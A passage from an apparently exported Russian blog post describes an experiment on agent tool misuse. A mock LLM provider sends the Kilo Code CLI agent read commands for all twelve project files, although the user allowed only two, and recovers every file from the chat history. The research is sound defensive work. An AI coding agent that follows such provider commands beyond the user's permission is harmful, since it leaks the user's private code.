\u043f\u0440\u043e\u0435\u043a\u0442\u0443<\/h3>\n<p>\u041d\u0430\u0448 \u043d\u0430\u0431\u043e\u0440 \u043c\u0430\u043b \u043d\u043e \u0443\u0434\u043e\u0431\u0435\u043d \u0434\u043b\u044f \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439. \u0412\u0441\u0435 \u0444\u0430\u0439\u043b\u044b \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435, \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0435, \u0438\u043c\u0435\u043d\u0430 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0443\u043a\u0430\u0437\u0430\u043d \u0441 \u0437\u0430\u043f\u0430\u0441\u043e\u043c. \u0421\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u0438\u0449\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0435\u0437\u0430\u043d\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b. \u0412 \u0431\u043e\u043b\u044c\u0448\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e &#8212; \u043f\u043e\u0440\u0446\u0438\u044f\u043c\u0438. \u041d\u043e \u043a\u043e\u0434 \u0441\u0438\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0440\u0430\u0441\u0442\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441\u0443\u0442\u044c, \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0445\u043e\u0442\u0435\u043b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c. \u0410 \u0438\u043c\u0435\u043d\u043d\u043e, \u0437\u0430\u043f\u0440\u0435\u0442 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043a \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0441\u0442\u0430\u043b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u0423 \u043d\u0435\u0433\u043e \u043d\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0439 LLM. \u041d\u0430\u0448 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u0438\u0445 \u043d\u0435 \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441\u043b\u0443\u0447\u0430\u0439, \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440 \u0443\u0436\u0435 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u043e\u0441\u0442\u0443\u043f\u0430\u044e\u0449\u0438\u0435 \u043e\u0442 \u043d\u0435\u0433\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<p>\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 \u043d\u0430\u0448\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0435\u0433\u043e \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0442\u0440\u0435\u0442\u044c\u0438\u043c \u043b\u0438\u0446\u0430\u043c. \u0417\u0434\u0435\u0441\u044c \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u0443\u044e \u043a\u043e\u043f\u0438\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430.<\/p>\n<\/div>\n<p>\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/1104786\/\">https:\/\/habr.com\/ru\/articles\/1104786\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0412 \u043a\u0430\u043a\u043e\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u043c\u043e\u0436\u043d\u043e \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u0440\u0430\u0431\u043e\u0442\u0443 AI-\u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0430? \u041e\u0431\u044b\u0447\u043d\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0430\u0432\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0435\u0441\u0442\u043e\u0432. \u041b\u0438\u0448\u043d\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u043b, \u043e\u0448\u0438\u0431\u043a\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b, \u043f\u0440\u043e\u0435\u043a\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u043d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0442\u044c.\u041f\u0440\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u0448\u043b\u0430 \u0432 \u0434\u0440\u0443\u0433\u0443\u044e \u0441\u0442\u043e\u0440\u043e\u043d\u0443. \u0425\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435, \u043d\u043e \u0438 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0441\u0435\u0440\u0432\u0435\u0440 \u043c\u043e\u0434\u0435\u043b\u0438 (\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0443 \u0441\u0435\u0431\u044f). \u0417\u0430\u0434\u0430\u0447\u0430 \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u043e\u0439 \u043d\u0430\u0440\u043e\u0447\u043d\u043e. \u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0442\u0435\u0441\u0442. \u0417\u0430\u043e\u0434\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0445\u043e\u0442\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0432\u0430.\u041f\u043e\u0441\u043b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u043e \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435, \u0440\u0430\u0434\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0437\u0430\u0442\u0435\u0432\u0430\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. Kilo \u043f\u043e\u043c\u0435\u043d\u044f\u043b \u043e\u0434\u0438\u043d \u0437\u043d\u0430\u043a, \u0442\u0435\u0441\u0442 \u043f\u0440\u043e\u0448\u0451\u043b, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0434\u0438\u0441\u043a\u0435 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0432\u0441\u0435 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432. \u0418\u0445 \u043a\u043e\u043f\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u043b\u0438 \u0441 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u0430\u043c\u0438 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e.\u041d\u0438 \u0430\u0440\u0445\u0438\u0432\u0430, \u043d\u0438 curl, \u043d\u0438 \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u043e\u0441\u044c. Kilo \u0432\u043a\u043b\u044e\u0447\u0430\u043b \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0447\u0442\u0435\u043d\u0438\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0435 \u0442\u0430\u043a\u0443\u044e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u043c\u043e\u0436\u043d\u043e \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c. \u0414\u0430\u043b\u044c\u0448\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c, \u043a\u0430\u043a \u043e\u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043f\u0440\u043e\u0435\u043a\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u0430 \u043d\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u043e\u0432.\u0421\u0447\u0438\u0442\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0434\u0435\u0440 LLM \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e price.py \u0438 check.py, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0440\u0430\u0441\u0447\u0451\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0424\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 README \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e. \u042d\u0442\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u0435 \u043a \u043c\u043e\u0434\u0435\u043b\u0438, \u043d\u043e \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0448\u0438\u0440\u0435. \u0412 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434!\u0422\u0430\u043a \u043a\u0430\u043a \u043c\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0442\u043e \u043e\u043d \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u0438\u0441\u044b\u043b\u0430\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u043f\u043e\u0442\u043e\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0437\u0430\u0442\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0442\u0435\u0441\u0442\u0430. \u0412\u0435\u0441\u044c \u043e\u0431\u043c\u0435\u043d \u0438\u0434\u0451\u0442 \u043f\u043e 127.0.0.1. \u0414\u043b\u044f \u0442\u0435\u0441\u0442\u0430, \u0441\u0442\u043e\u0440\u043e\u043d\u0443 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u0448 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0430\u0442\u0430 \u0438\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438.\u0415\u0441\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0442\u0435 \u0436\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043a \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442 \u0443\u0436\u0435 \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440. \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043b\u0435\u0433\u043a\u043e \u0443\u0432\u043b\u0435\u0447\u044c\u0441\u044f \u0438 \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0435 \u043a\u0440\u0430\u0436\u0435\u0439 \u0441\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u044b LLM. \u041d\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 \u043d\u0435\u0442. \u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. \u0412 \u044d\u0442\u043e\u043c \u0442\u0435\u0441\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043b\u0438\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d \u043a \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043e\u0442 \u043d\u0435\u0433\u043e \u0437\u0430\u0432\u0435\u0434\u043e\u043c\u043e \u043b\u0438\u0448\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0421\u043a\u043b\u043e\u043d\u043d\u043e\u0441\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043a \u0442\u0430\u043a\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u044d\u0442\u0438\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0438\u0442\u044c. \u041d\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u0435\u0441\u0442\u044c!\u041a\u043b\u0438\u0435\u043d\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0439. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d bin\/kilo.exe \u0438\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Kilo Code 7.4.20 \u0434\u043b\u044f Visual Studio Code. \u0421\u0435\u0440\u0432\u0435\u0440 \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u0441 \u043d\u0438\u043c \u043f\u043e OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 Chat Completions API \u0438 \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u0442\u043e\u043a\u043e\u0432\u044b\u0435 \u043e\u0442\u0432\u0435\u0442\u044b \u043c\u043e\u0434\u0435\u043b\u0438 \u0441 tool_calls. \u0427\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0438\u0445 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0434\u0435\u043b\u0430\u0435\u0442 Kilo.PS: \u042d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d \u0447\u0435\u0440\u0435\u0437 CLI \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 run. \u0413\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430\u0441\u044c.\u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c, \u0447\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u0432\u0435\u0441\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u00bb\u0414\u043b\u044f \u0441\u0438\u043c\u0443\u043b\u044f\u0446\u0438\u0438 \u0432\u0441\u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0441\u043f\u0438\u0441\u043e\u043a \u0438\u0437 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0444\u0430\u0439\u043b\u043e\u0432.README.mdcheck.pyprice.pysettings.jsonmodules\/rule_00.pymodules\/rule_01.pymodules\/rule_02.pymodules\/rule_03.pymodules\/rule_04.pymodules\/rule_05.pymodules\/rule_06.pymodules\/rule_07.py\u0414\u043b\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u043d\u0438 \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u044b. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u043b\u0438 \u043e\u043d\u0438 \u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438. \u0421\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 .git, \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0438 \u043a\u044d\u0448 Kilo \u0432 \u044d\u0442\u0438 \u0434\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u043c\u0443 \u043d\u0430\u0431\u043e\u0440\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u043d\u0435 \u043a\u043e \u0432\u0441\u0435\u043c\u0443 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u043c\u0443 \u0434\u0438\u0441\u043a\u0430.\u0412 price.py \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u0448\u0438\u0431\u043a\u0430. \u0422\u0435\u0441\u0442 \u043e\u0436\u0438\u0434\u0430\u0435\u0442, \u0447\u0442\u043e total(7, 3) \u0432\u0435\u0440\u043d\u0451\u0442 21.def total(price, count):    return price + count\u0414\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f, \u0438\u043c\u0435\u043d\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u043d\u0430\u0448\u0435\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443. \u0421\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e \u0434\u0435\u0440\u0435\u0432\u0430 \u0432 \u044d\u0442\u043e\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u043c \u0442\u0435\u0441\u0442\u0435 \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043e.\u041f\u043e\u0447\u0435\u043c\u0443 \u043a\u043e\u043f\u0438\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0447\u0430\u0442\u0430\u0421\u0435\u0440\u0432\u0435\u0440 \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442 \u0446\u0435\u043b\u0438\u043a\u043e\u043c. \u041e\u043d \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u0443\u0441\u043a\u0430\u043c\u0438, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 read \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. Kilo \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0447\u0442\u0435\u043d\u0438\u044f \u0432 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0447\u0430\u0442\u0430 \u0438 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0435\u0451 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043a \u043c\u043e\u0434\u0435\u043b\u0438. \u0418\u0437 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u043e\u043b\u044c\u044e tool \u0438 